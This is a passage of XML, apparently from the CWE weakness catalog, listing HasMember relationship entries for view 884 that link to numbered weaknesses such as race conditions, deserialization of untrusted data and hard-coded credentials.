						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>347</Relationship_Target_ID>
					          <!--Improper Verification of Cryptographic Signature-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>348</Relationship_Target_ID>
					          <!--Use of Less Trusted Source-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>349</Relationship_Target_ID>
					          <!--Acceptance of Extraneous Untrusted Data With Trusted Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Compound_Element</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>352</Relationship_Target_ID>
					          <!--Cross-Site Request Forgery (CSRF)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>353</Relationship_Target_ID>
					          <!--Missing Support for Integrity Check-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>354</Relationship_Target_ID>
					          <!--Improper Validation of Integrity Check Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>364</Relationship_Target_ID>
					          <!--Signal Handler Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>367</Relationship_Target_ID>
					          <!--Time-of-check Time-of-use (TOCTOU) Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>369</Relationship_Target_ID>
					          <!--Divide By Zero-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>390</Relationship_Target_ID>
					          <!--Detection of Error Condition Without Action-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>392</Relationship_Target_ID>
					          <!--Missing Report of Error Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>393</Relationship_Target_ID>
					          <!--Return of Wrong Status Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>400</Relationship_Target_ID>
					          <!--Uncontrolled Resource Consumption ('Resource Exhaustion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>406</Relationship_Target_ID>
					          <!--Insufficient Control of Network Message Volume (Network Amplification)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>407</Relationship_Target_ID>
					          <!--Algorithmic Complexity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>408</Relationship_Target_ID>
					          <!--Incorrect Behavior Order: Early Amplification-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>409</Relationship_Target_ID>
					          <!--Improper Handling of Highly Compressed Data (Data Amplification)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>434</Relationship_Target_ID>
					          <!--Unrestricted Upload of File with Dangerous Type-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>444</Relationship_Target_ID>
					          <!--Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>451</Relationship_Target_ID>
					          <!--UI Misrepresentation of Critical Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>453</Relationship_Target_ID>
					          <!--Insecure Default Variable Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>454</Relationship_Target_ID>
					          <!--External Initialization of Trusted Variables or Data Stores-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>455</Relationship_Target_ID>
					          <!--Non-exit on Failed Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>456</Relationship_Target_ID>
					          <!--Missing Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>467</Relationship_Target_ID>
					          <!--Use of sizeof() on a Pointer Type-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>468</Relationship_Target_ID>
					          <!--Incorrect Pointer Scaling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>469</Relationship_Target_ID>
					          <!--Use of Pointer Subtraction to Determine Size-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>470</Relationship_Target_ID>
					          <!--Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>476</Relationship_Target_ID>
					          <!--NULL Pointer Dereference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>478</Relationship_Target_ID>
					          <!--Missing Default Case in Switch Statement-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>480</Relationship_Target_ID>
					          <!--Use of Incorrect Operator-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>483</Relationship_Target_ID>
					          <!--Incorrect Block Delimitation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>484</Relationship_Target_ID>
					          <!--Omitted Break Statement in Switch-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>486</Relationship_Target_ID>
					          <!--Comparison of Classes by Name-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>494</Relationship_Target_ID>
					          <!--Download of Code Without Integrity Check-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>495</Relationship_Target_ID>
					          <!--Private Array-Typed Field Returned From A Public Method-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>496</Relationship_Target_ID>
					          <!--Public Data Assigned to Private Array-Typed Field-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>498</Relationship_Target_ID>
					          <!--Cloneable Class Containing Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>499</Relationship_Target_ID>
					          <!--Serializable Class Containing Sensitive Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>502</Relationship_Target_ID>
					          <!--Deserialization of Untrusted Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>521</Relationship_Target_ID>
					          <!--Weak Password Requirements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>522</Relationship_Target_ID>
					          <!--Insufficiently Protected Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>545</Relationship_Target_ID>
					          <!--Use of Dynamic Class Loading-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>546</Relationship_Target_ID>
					          <!--Suspicious Comment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>547</Relationship_Target_ID>
					          <!--Use of Hard-coded, Security-relevant Constants-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>561</Relationship_Target_ID>
					          <!--Dead Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>563</Relationship_Target_ID>
					          <!--Unused Variable-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>567</Relationship_Target_ID>
					          <!--Unsynchronized Access to Shared Data in a Multithreaded Context-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>587</Relationship_Target_ID>
					          <!--Assignment of a Fixed Address to a Pointer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>595</Relationship_Target_ID>
					          <!--Comparison of Object References Instead of Object Contents-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>601</Relationship_Target_ID>
					          <!--URL Redirection to Untrusted Site ('Open Redirect')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>602</Relationship_Target_ID>
					          <!--Client-Side Enforcement of Server-Side Security-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>605</Relationship_Target_ID>
					          <!--Multiple Binds to the Same Port-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>617</Relationship_Target_ID>
					          <!--Reachable Assertion-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>621</Relationship_Target_ID>
					          <!--Variable Extraction Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>627</Relationship_Target_ID>
					          <!--Dynamic Variable Evaluation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>628</Relationship_Target_ID>
					          <!--Function Call with Incorrectly Specified Arguments-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>642</Relationship_Target_ID>
					          <!--External Control of Critical State Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>648</Relationship_Target_ID>
					          <!--Incorrect Use of Privileged APIs-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>667</Relationship_Target_ID>
					          <!--Improper Locking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>672</Relationship_Target_ID>
					          <!--Operation on a Resource after Expiration or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>674</Relationship_Target_ID>
					          <!--Uncontrolled Recursion-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>676</Relationship_Target_ID>
					          <!--Use of Potentially Dangerous Function-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>681</Relationship_Target_ID>
					          <!--Incorrect Conversion between Numeric Types-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>698</Relationship_Target_ID>
					          <!--Redirect Without Exit-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>708</Relationship_Target_ID>
					          <!--Incorrect Ownership Assignment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>732</Relationship_Target_ID>
					          <!--Incorrect Permission Assignment for Critical Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>756</Relationship_Target_ID>
					          <!--Missing Custom Error Page-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>763</Relationship_Target_ID>
					          <!--Release of Invalid Pointer or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>770</Relationship_Target_ID>
					          <!--Allocation of Resources Without Limits or Throttling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>772</Relationship_Target_ID>
					          <!--Missing Release of Resource after Effective Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>783</Relationship_Target_ID>
					          <!--Operator Precedence Logic Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>786</Relationship_Target_ID>
					          <!--Access of Memory Location Before Start of Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>788</Relationship_Target_ID>
					          <!--Access of Memory Location After End of Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>798</Relationship_Target_ID>
					          <!--Use of Hard-coded Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>805</Relationship_Target_ID>
					          <!--Buffer Access with Incorrect Length Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>807</Relationship_Target_ID>
					          <!--Reliance on Untrusted Inputs in a Security Decision-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>822</Relationship_Target_ID>
					          <!--Untrusted Pointer Dereference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>825</Relationship_Target_ID>
					          <!--Expired Pointer Dereference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>829</Relationship_Target_ID>
					          <!--Inclusion of Functionality from Untrusted Control Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>835</Relationship_Target_ID>
					          <!--Loop with Unreachable Exit Condition ('Infinite Loop')-->
				</Relationship>
				        <Relationship>
